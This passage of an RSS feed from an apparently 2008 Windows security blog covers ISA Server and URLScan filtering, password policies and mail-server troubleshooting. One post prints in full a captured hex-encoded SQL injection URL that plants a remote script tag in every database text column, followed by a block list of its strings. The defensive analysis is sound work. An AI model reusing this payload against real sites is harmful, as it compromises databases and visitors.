&lt;/p&gt;&lt;p&gt;Your &lt;span style="font-family:courier new;"&gt;urlscan.ini&lt;/span&gt; file might now look something like this (picture below)&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/url-config-2-730819.gif" border="0" /&gt;&lt;br /&gt;Any user passing illegal URL to our web server will get an error like this (picture below) &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/custom-error-724729.gif" border="0" /&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;strong&gt;Recommendation:&lt;/strong&gt; Check out other options in &lt;span style="font-family:courier new;"&gt;urlscan.ini&lt;/span&gt; file that might be useful to you. E.g. if you want to limit URL length you can also edit &lt;span style="font-family:courier new;"&gt;[RequestLimits]&lt;/span&gt; segment&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style="font-family:courier new;"&gt;MaxAllowedContentLength=&lt;br /&gt;MaxUrl=&lt;br /&gt;MaxQueryString=&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;with values that work in your environment. This is actually something that you will have to test in your environment first.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;strong&gt;Conclusion:&lt;/strong&gt; Personally, I prefer to use ISA Server for such filtering when I can. It stops these kinds of attacks at the network edge before the malformed URL even "touches" the web server.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;div&gt;&lt;strong&gt;Note: &lt;em&gt;This was never meant as permanent cure for SQL Injection or XSS attacks. This is just a precaution and to buy some time to check and fix any potential vulnerabilities in the web applications.&lt;/em&gt;&lt;/strong&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-6123037823359859051?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2008/10/sql-injectionxss-attacks-and-urlscan-30.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>2</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-6054384749023241991</guid><pubDate>Sun, 05 Oct 2008 17:58:00 +0000</pubDate><atom:updated>2008-10-06T20:47:32.882+02:00</atom:updated><title>SQL Injection/XSS attacks and ISA HTTP filter</title><description>In my previous post I wrote about blocking China because a lot of SQL Injection/XSS attacks against my customer servers originated from there. In this post I will write about some other steps we took to protect the servers.&lt;br /&gt;&lt;br /&gt;From log files we were able to determine that computers there are part of zombie network were passing following URL against the web servers:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;http://www.[domain].com/Default.aspx?id=223&amp;amp;lang=2;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;72283430303029204445434C415245205461626C655F437572736F7220435552534F5&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737973&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;6F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D6&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;22E696420616E6420612E78747970653D27752720616E642028622E78747970653D39&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;39206F7220622E78747970653D3335206F7220622E78747970653D323331206F72206&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;22E78747970653D31363729204F50454E205461626C655F437572736F722046455443&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;48204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;043205748494C4528404046455443485F5354415455533D302920424547494E206578&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;65632827757064617465205B272B40542B275D20736574205B272B40432B275D3D272&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;7223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F77777733&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;2E73733131716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B65&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;20272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F7&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;77777332E73733131716E2E636E2F63737273732F772E6A73223E3C2F736372697074&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;3E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F43757&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;2736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;After analyzing this URL we determined few optional strings to block. Here are some of them:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;"declare @s char("&lt;/li&gt;&lt;li&gt;"exec(@s)"&lt;/li&gt;&lt;li&gt;"@s=cast("&lt;/li&gt;&lt;li&gt;"char("&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Not seen in above encoded URL is also string "&lt;span style="font-family:courier new;"&gt;script src=http://&lt;/span&gt;" which we also decided to block&lt;br /&gt;&lt;br /&gt;I decided to block above strings on ISA Server that is in this case front end firewall. I opened ISA Server Management console and right clicked on the publishing rule for the server that was getting attacked. Here I selected "&lt;span style="font-family:courier new;"&gt;Configure HTTP&lt;/span&gt;" (picture below).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/select-rule-723890.gif" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;Here we select "&lt;span style="font-family:courier new;"&gt;Signatures&lt;/span&gt;" tab and select the "&lt;span style="font-family:courier new;"&gt;Add&lt;/span&gt;" option (picture below)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/signatures-768915.gif" border="0" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Here we can now enter strings that we identified earlier and we want to block when they appear in the URL (picture below)&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/parameters-746554.gif" border="0" /&gt;&lt;/p&gt;&lt;p&gt;After clicking OK we can preview entered strings (picture below)&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/preview-785754.gif" border="0" /&gt;&lt;br /&gt;&lt;p&gt;We also added another filter under "&lt;span style="font-family:courier new;"&gt;General&lt;/span&gt;" tab. URL in our example is very long (over 1300 characters) and we decided to limit how long the URLs passed to our web servers can be. Instead of default 10240 bytes we decreased the value to 512 bytes which will more than accommodate our needs (picture below). URL requests longer than 512 bytes will be blocked.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/url-lenght-761317.gif" border="0" /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;When URL matching any entered filters ISA will block the request before it reaches the potentially vulnerable web server (picture below).&lt;/p&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/block-error-713459.gif" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;em&gt; This was never meant as permanent cure for SQL Injection or XSS attacks. We did this just as a precaution and to buy some time to check the web applications for any vulnerabilities!&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-6054384749023241991?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2008/10/sql-injectioncss-attacks-and-isa-http.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-5169866504787336528</guid><pubDate>Fri, 03 Oct 2008 17:26:00 +0000</pubDate><atom:updated>2008-10-03T19:30:24.121+02:00</atom:updated><title>Bleeding Edge materials...</title><description>My materials (PPTs etc) from &lt;a href="http://www.bleedingedge.si/"&gt;Bleeding Edge&lt;/a&gt; are now available for &lt;a href="http://www.krneki.net/BE"&gt;download&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-5169866504787336528?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2008/10/bleeding-edge-materials.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-3476746899532654900</guid><pubDate>Mon, 22 Sep 2008 18:15:00 +0000</pubDate><atom:updated>2008-09-22T21:39:32.688+02:00</atom:updated><title>Importing ISA Server Computer Set from Standard Edition to Enterprise Edition</title><description>&lt;strong&gt;Note:&lt;/strong&gt; you should backup ISA Server configuration before trying out following workarounds (just in case) ;-)&lt;br /&gt;&lt;br /&gt;My customers are no exception; they too are getting attacked&lt;sup&gt;1&lt;/sup&gt; from IP addresses belonging to China address space. For some of them we simply decided to block all traffic originating in China. For customers using &lt;a href="http://www.microsoft.com/isaserver/default.mspx"&gt;ISA server &lt;/a&gt;as a firewall, I decided to use "&lt;a href="http://www.isaserver.bm/"&gt;Country by Country ISA Computer Sets&lt;/a&gt;" prepared by Thor (thank you Thor).&lt;br /&gt;&lt;br /&gt;The scripts that we could download were prepared for ISA Server 2004 or ISA Server 2006 Standard Edition and they could not be imported to ISA Server Enterprise Edition. If you try to import it to ISA Server Enterprise Edition you would get the following error:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Error: 0xc00403a4&lt;br /&gt;Enterprise Edition settings cannot be imported into Standard Edition, and Standard Edition settings cannot be imported into Enterprise Edition.&lt;br /&gt;The error occurred on object 'ComputerSets' of class 'Computer Sets' in the scope of array 'Firewall'.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/ISA-EE-Error-750692.gif" border="0" /&gt;&lt;br /&gt;I really didn't want to copy and paste or manually recreate the computer set. After playing around with the XML file containing computer set I figured out that if you change &lt;span style="font-family:courier new;"&gt;fpc4:Edition&lt;/span&gt; line from&lt;br /&gt;&lt;p align="left"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: left" alt="" src="http://www.krneki.net/blog/uploaded_images/16-line-774479.gif" border="0" /&gt;to&lt;br /&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: left" alt="" src="http://www.krneki.net/blog/uploaded_images/32-line-794326.gif" border="0" /&gt;&lt;br /&gt;you can now import computer set to ISA Server 2006 Enterprise Edition even if it was exported from ISA Server 2006 Standard Edition. You should see the above line near the top of the XML file.&lt;br /&gt;&lt;br /&gt;Here are also screenshots of the XML file (before and after):&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.krneki.net/blog/extras/isa%2016%20se.gif"&gt;Standard Edition&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.krneki.net/blog/extras/isa%2032%20ee.gif"&gt;Enterprise Edition&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;1. I will write more about the attacks themselves in my next post...&lt;/span&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-3476746899532654900?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2008/09/importing-isa-server-computer-set-from.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-591075492047746226</guid><pubDate>Thu, 11 Sep 2008 18:58:00 +0000</pubDate><atom:updated>2008-09-11T21:11:34.628+02:00</atom:updated><title>Bleeding Edge Conference...</title><description>&lt;a href="http://www.bleedingedge.si/"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/be-791151.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;I am getting ready for &lt;a href="http://www.bleedingedge.si/"&gt;Bleeding Edge conference&lt;/a&gt;. The conference will be held on October 1st in &lt;a href="http://www.portoroz.si/EN/"&gt;Portorož – Slovenia&lt;/a&gt;.&lt;br /&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;It is one day event with two tracks. Speakers will be &lt;a href="http://blogs.solidq.com/EN/dsarka/default.aspx"&gt;Dejan Sarka&lt;/a&gt;, &lt;a href="http://blogs.solidq.com/EN/dzupancic/default.aspx"&gt;Dušan Zupančič&lt;/a&gt;, &lt;a href="http://www.request-response.com/blog/"&gt;Matevž Gačnik&lt;/a&gt;, &lt;a href="http://cs.rthand.com/blogs/blog_with_righthand/default.aspx"&gt;Miha Markič&lt;/a&gt;, Miha Valenčič and myself. Hm – it looks like we will have "Miha track…" :-) &lt;br /&gt;&lt;br /&gt;I am really looking forward to this event. It should be very educational! I hope to see you there!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-591075492047746226?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2008/09/bleeding-edge-conference.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-4329771934827030054</guid><pubDate>Sat, 06 Sep 2008 19:30:00 +0000</pubDate><atom:updated>2008-09-06T23:03:28.328+02:00</atom:updated><title>Fine grained policies and Password Policy Manager (PPM)</title><description>&lt;p&gt;Windows 2008 AD DS (Active Directory Domain Services) allow administrators to set &lt;a href="http://technet.microsoft.com/en-us/library/cc770394.aspx"&gt;different password policies &lt;/a&gt;to different users or groups. In practice this could mean that administrator can set a password policy of e.g. minimum 5 characters &lt;sup&gt;1&lt;/sup&gt; for a password that must be changed every 60 days for ordinary users wile a group of administrators must have a password with at least e.g. 14 characters that they need to change every 30 days.&lt;br /&gt;&lt;br /&gt;To achieve this, administrator must create different &lt;a href="http://technet.microsoft.com/en-us/library/cc753481.aspx"&gt;Password Settings objects (PSO)&lt;/a&gt; and apply them directly to user objects or better to group. Any member of the group will now have password policy that PSO linked to the group defines.&lt;br /&gt;&lt;br /&gt;My friend Miha Jakovac and I wrote (well Miha did most of the writing ;-) ) a free tool called Password Policy Manager or PPM that allows administrators to use GUI tools for creating and applying PSO to users or groups.&lt;br /&gt;&lt;br /&gt;You can also use the tool to search for any existing PSOs, edit existing PSOs, delete existing PSOs and view applied PSOs to users or groups.&lt;br /&gt;&lt;br /&gt;You can &lt;a href="http://www.parhelia-tools.com/products/ppm/ppm.aspx"&gt;download&lt;/a&gt; and use PPM for free.&lt;br /&gt;&lt;br /&gt;Let Miha or me know what you think about the tool ... &lt;/p&gt;&lt;ol&gt;&lt;li&gt;I don’t recommend using password policy that allows users such short passwords&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;strong&gt;Following are some screenshots of the tool...&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;&lt;u&gt;Creating new PSO&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;/u&gt;&lt;u&gt;&lt;/u&gt;&lt;u&gt;&lt;/u&gt;&lt;u&gt;&lt;p&gt;&lt;a href="http://www.krneki.net/blog/uploaded_images/create-752617.gif"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/create-752613.gif" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/u&gt;&lt;/p&gt;&lt;u&gt;Applying PSO to user&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="http://www.krneki.net/blog/uploaded_images/apply-741207.gif"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/apply-741204.gif" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;u&gt;Checking for any existing PSOs applied to the object&lt;br /&gt;&lt;/u&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="http://www.krneki.net/blog/uploaded_images/check1-741411.gif"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/check1-741407.gif" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Result of the check will show PSO that users is a member of. Here you can also remove user (or group) from applied PSO &lt;p&gt;&lt;a href="http://www.krneki.net/blog/uploaded_images/remove-747169.gif"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/remove-747167.gif" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;u&gt;Searching&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Hint 1: You can use keywords...&lt;br /&gt;Hint 2: You could search for specific user or group and apply new PSO to it...&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.krneki.net/blog/uploaded_images/search-745230.gif"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/search-745227.gif" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;u&gt;Result of the search&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;With return list of PSOs you can view details of the PSOs, edit them, delete them etc.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.krneki.net/blog/uploaded_images/result-710182.gif"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/result-710178.gif" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;u&gt;Viewing PSO details&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;You can view details of PSO such as password length, password history and other settings. You can also remove any user from PSO that might be linked to it. If you wish, you could export the settings to LDF formatted file.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.krneki.net/blog/uploaded_images/details-788420.gif"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/details-788416.gif" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-4329771934827030054?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2008/09/fine-grained-policies-and-password.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-863521781995714547</guid><pubDate>Sat, 30 Aug 2008 19:37:00 +0000</pubDate><atom:updated>2008-08-30T22:23:57.398+02:00</atom:updated><title>Slow mail relay server performance</title><description>Recently I was troubleshooting slow performance of customer's server. After going through regular check such as amount or RAM, processor power using task manager that didn't reveal anything useful I run Performance Monitor (perfmon).&lt;br /&gt;&lt;br /&gt;By default perfmon shows three counters (on Windows server 2oo3) and one of them is "Average disk queue length".&lt;br /&gt;&lt;br /&gt;Looking at the picture below, you can see (highlighted and circled in the green) that average disk queue length was over 3 almost all of the time.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.krneki.net/blog/uploaded_images/hdd-761843.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/hdd-761839.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Average disk queue length indicates the average number of both read and write requests that were queued for the selected disk during the sample interval. In other words, on this particular server, there are more requests for reading and writing operations that server can handle. Browsing through different recommendations, anything higher than 1 should be investigated as potential bottleneck and should be investigated.&lt;br /&gt;&lt;br /&gt;At this point I was getting somewhere with this server. Since disk queue length was high I decided to check if this hard disk was badly defragged (picture below) and I was proven right.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.krneki.net/blog/uploaded_images/defrag-720608.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/defrag-720602.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;To explain this a bit further. This is a dedicated mail relay server sitting in DMZ, constantly receiving e-mails (and a lot of spam) from the internet. This means it is constantly receiving small files, writing them to hard drive, forwarding them to internal mail servers and then deleting them from the hard disk. This amounts to a lot of reading and writing requests.&lt;br /&gt;&lt;br /&gt;Investigating further I discovered that "badmail" folder hasn't been cleaned out in a very long time. It contained more then 100.000 (small) files.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Resolution:&lt;/strong&gt;&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Emptying badmail folder&lt;/li&gt;&lt;li&gt;Performing defrag on the hard drive -- numerous times&lt;/li&gt;&lt;li&gt;I created a batch job that runs several times a day cleaning out "badmail" folder&lt;/li&gt;&lt;li&gt;I created a batch job that is running defrag on the server every night&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Since making these changes while server is still under a lot of stress it is performing much better then before.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-863521781995714547?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2008/08/slow-mail-relay-server-performance.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-6265612796214445263</guid><pubDate>Mon, 12 Nov 2007 20:50:00 +0000</pubDate><atom:updated>2007-11-12T21:50:52.078+01:00</atom:updated><title>POP3 and (password) security... (Part 2)</title><description>&lt;span style="font-family:verdana;"&gt;After writing "&lt;/span&gt;&lt;a href="http://www.krneki.net/blog/2007/11/pop3-and-password-security.html"&gt;&lt;span style="font-family:verdana;"&gt;POP3 and (password) security&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:verdana;"&gt;", I received few e-mails asking me about potential consequences of someone knowing (learning) your e-mail passwords…&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;Well, it depends on the (e-mail) system. Most obvious consequence is that someone other than you can now read your e-mail. Every one of us now has to decide if that is bad and how bad.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;funny mode = "on"&amp;gt; &lt;/span&gt;&lt;br /&gt;Personally I wish someone would guess my password and read my e-mail in hopes of this person responding to some of them instead of me... ;-) ...&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&amp;lt;/funny&amp;gt; &lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:verdana;"&gt;Next thing we have to ask ourselves is, where else do we use this same username and password? At time where single-sign-on systems are more and more popular, one password is used to access your e-mail and other (corporate) systems that might be holding sensitive&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt; data. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Last but not least; and too often underestimated consequence. Some e-mail systems are configured (some of them by default) to allow relaying of any e-mail if clients successfully authenticate. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Verdana;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Verdana;"&gt;&lt;strong&gt;What is e-mail relaying?&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Verdana;"&gt;In general, e-mail servers will only accept &lt;strong&gt;inbound&lt;/strong&gt; e-mail messages where "Mail to:" ("&lt;span style="font-family:courier new;"&gt;rcpt to:&lt;/span&gt;") filed matches domain name that e-mail server is "responsible" for. In my case this would be anything ending with "@krneki.net". E-mail messages that have destination address anything other than "@krneki.net" should get rejected.&lt;br /&gt;&lt;br /&gt;Knowing username and password would allow anyone to authenticate against e-mail server (SMTP service) and submit messages destined to any domain other such as "@gmail.com" making server accept and relay messages to other e-mail servers. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;This is bad for few reasons:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:verdana;"&gt;It will consume all available resources (e.g. hard disk space)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:verdana;"&gt;It is very likely that your public IP address will end up on spam list (black list) preventing delivery of our legitimate e-mail messages to our partners and customers&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:verdana;"&gt;Such attacks against e-mail servers are not uncommon and are popular enough to get mentioned on &lt;a href="http://en.wikipedia.org/wiki/SMTP-AUTH"&gt;Wikipedia&lt;/a&gt;!&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-6265612796214445263?l=www.krneki.net%2Fblog' alt='' /&gt;&lt;/div&gt;</description><link>http://www.krneki.net/blog/2007/11/pop3-and-password-security-part-2.html</link><author>noreply@blogger.com (Just Another Security Blog?)</author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-3905238167785739455.post-3331552227662856137</guid><pubDate>Wed, 07 Nov 2007 10:10:00 +0000</pubDate><atom:updated>2007-11-07T11:16:45.710+01:00</atom:updated><title>KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e) in fw.sys</title><description>&lt;span style="font-family:verdana;"&gt;I received this dump files from our customer. Unfortunately there seem to be something wrong with dump file itself and I had a bit of trouble getting necessary information from it.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;strong&gt;Computer in trouble:&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;Windows Server 2003 Kernel Version 3790 (Service Pack 2) MP (2 procs) Free x86 compatible&lt;br /&gt;Product: Server, suite: TerminalServer SingleUserTS&lt;br /&gt;Built by: 3790.srv03_sp2_rtm.070216-1710&lt;br /&gt;Kernel base = 0x80800000 PsLoadedModuleList = 0x808af9c8&lt;br /&gt;Debug session time: Wed Oct 31 11:46:37.968 2007 (GMT+1)&lt;br /&gt;System Uptime: 0 days 0:01:33.781&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span 